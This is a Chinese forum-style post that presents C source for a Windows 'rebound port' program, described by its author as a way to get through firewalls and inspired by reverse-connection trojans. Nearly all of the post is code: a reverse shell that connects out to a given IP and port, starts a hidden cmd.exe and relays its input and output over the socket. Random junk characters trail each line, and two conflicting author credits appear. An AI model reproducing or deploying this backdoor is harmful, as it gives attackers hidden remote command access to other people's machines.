Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ^7kYG7/  
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/* ============================== O St~P^1  
Rebound port in Windows NT #R=6$  
By wind,2006/7 g>?,,y6/w  
===============================*/ (=53WbOh/t  
#include cpq0'x\  
#include ]x_
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%[?{H} y  
#pragma comment(lib,"wsock32.lib") Q`h@-6N  
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void OutputShell(); [HRP&jr  
SOCKET sClient; Xs4G#QsAJ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; r)w]~)8  
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void main(int argc,char **argv) }WNgK
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{ ]waCYrG<sY  
WSADATA stWsaData; oM}P Wf-  
int nRet; / vzwokH  
SOCKADDR_IN stSaiClient,stSaiServer; rYyEs I#qo  
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if(argc != 3) nza^<DlS  
{ SP|Dz,o  
printf("Useage:\n\rRebound DestIP DestPort\n"); Wf  *b"#  
return; wqn}t]  
} `t#Ie*  
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WSAStartup(MAKEWORD(2,2),&stWsaData); @aoHz8K  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {<^PYN>`  
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stSaiClient.sin_family = AF_INET; 4d]T`  
stSaiClient.sin_port = htons(0); 74Il]i1=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rI1;>/Ir  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JA?P jo  
{ (B
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printf("Bind Socket Failed!\n"); 1QDAfRx  
return; VV~Kgy  
} 7G8M+i3q/  
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stSaiServer.sin_family = AF_INET; ^p7Er!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e,0Gc-X[B  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S$fCO$bU  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) T EqCoeR  
{ aSNTm8SYX  
printf("Connect Error!"); |(1z ?Spbe  
return; <j89HtCz  
} 0 Pa\:^/6  
OutputShell(); RiAY>:  
} `Df)wNN1  
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void OutputShell() rsvGf7C  
{ !~aDmY2  
char szBuff[1024]; ~C],?X(zk  
SECURITY_ATTRIBUTES stSecurityAttributes; 7b[vZNi_  
OSVERSIONINFO stOsversionInfo; :~]ha  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?)#}Nj<R  
STARTUPINFO stStartupInfo; J\
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char *szShell; w6l8RNRe  
PROCESS_INFORMATION stProcessInformation; -J*jW N!  
unsigned long lBytesRead; {wp"zaa  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;GxKPy  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ng[ZM);  
stSecurityAttributes.lpSecurityDescriptor = 0; 'Sjcm@ILm  
stSecurityAttributes.bInheritHandle = TRUE; ~I)\d/7o  

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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /\M3O  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k GzosUt  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !pLQRnI}6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Obu>xK(  
stStartupInfo.wShowWindow = SW_HIDE; 0dgp<  
stStartupInfo.hStdInput = hReadPipe; g"sW_y_O  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3 aG?^z  
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GetVersionEx(&stOsversionInfo); <}$o=>'  
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switch(stOsversionInfo.dwPlatformId)
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{ M7;P)da  
case 1: ajz%3/R  
szShell = "command.com"; aE(j_`L78  
break; jDO[u!J6.%  
default: H-o>|C  
szShell = "cmd.exe"; *:3`$`\54  
break; ( XoL,lJ  
} RcH",*U  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); H)5v X+9D  
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send(sClient,szMsg,77,0); bytAdS$3  
while(1) SXA_P{j&a  
{ ;'r} D!8w/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cmv&!Egd  
if(lBytesRead) t)O$W   
{ D f H>UA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DLv\]\h}L  
send(sClient,szBuff,lBytesRead,0); bm_'giQ:  
} WL<$(y:H  
else i`R}IP?71  
{ 7"`%-a$7  
lBytesRead=recv(sClient,szBuff,1024,0); Jilj
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if(lBytesRead<=0) break; A~6:eappH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %P2GQS-N  
} $5`P~Q'U  
} r-s.i+\  
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return; s1xl*lKX%  
}